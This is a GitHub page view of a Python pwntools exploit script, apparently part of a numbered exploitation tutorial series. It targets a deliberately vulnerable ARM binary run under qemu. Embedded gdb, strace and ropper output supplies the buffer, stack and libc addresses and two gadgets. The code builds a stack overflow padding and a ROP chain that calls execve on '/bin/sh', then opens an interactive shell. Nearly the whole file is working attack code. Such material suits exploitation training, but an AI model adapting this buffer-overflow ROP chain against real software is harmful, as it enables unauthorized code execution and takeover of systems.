-
Notifications
You must be signed in to change notification settings - Fork 93
/
07-execve-rop.py
executable file
·73 lines (59 loc) · 1.7 KB
/
07-execve-rop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python
"""
(gdb) disassemble vulnerable
Dump of assembler code for function vulnerable:
0x00010460 <+0>: push {r7, lr}
...
0x00010498 <+56>: pop {r7, pc}
End of assembler dump.
(gdb) b *0x00010498
Breakpoint 1 at 0x10498: file src/07-execve-rop.c, line 11.
(gdb) c
Continuing.
Breakpoint 1, 0x00010498 in vulnerable () at src/07-execve-rop.c:11
11 }
(gdb) p &buffer[0]
$1 = 0xfffeeef0 'a' <repeats 132 times>, "\225\035p\377,\357w\377"
(gdb) i r $sp
sp 0xfffeef70 0xfffeef70
"""
"""
$ qemu-arm -L /usr/arm-linux-gnueabihf/ -strace ./bin/arm/07-execve-rop
...
28850 openat(AT_FDCWD,"/lib/libc.so.6",O_RDONLY|O_CLOEXEC) = 3
...
28850 mmap2(NULL,1013128,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0xff6a9000
...
"""
"""
$ ropper --nocolor --file /usr/arm-linux-gnueabihf/lib/libc-2.27.so
0x00058d94 (0x00058d95): pop {r0, r1, r2, r6, r7, pc};
0x00017204 (0x00017205): svc #0; pop {r7, pc};
"""
import struct
import sys
from pwn import *
context(arch='arm', os='linux', endian='little', word_size=32)
binary_path = './bin/arm/07-execve-rop'
libc_path = '/usr/arm-linux-gnueabihf/lib/libc-2.27.so'
saved_pc_addr = 0xfffeef70 + 4
buffer_addr = 0xfffeeef0
libc_addr = 0xff6a9000
pop_all_addr = libc_addr + 0x00058d95
svc_addr = libc_addr + 0x00017205
libc = ELF(libc_path)
bin_sh_addr = libc_addr + libc.search('/bin/sh\x00').next()
p = process(binary_path)
#p = gdb.debug([binary_path])
payload = ''
payload += 'a' * (saved_pc_addr - buffer_addr)
payload += p32(pop_all_addr)
payload += p32(bin_sh_addr) # r0
payload += p32(0) # r1
payload += p32(0) # r2
payload += p32(0) # r6
payload += p32(0xb) # r7, execve
payload += p32(svc_addr) # pc
p.readuntil('> ')
p.write(payload)
p.interactive()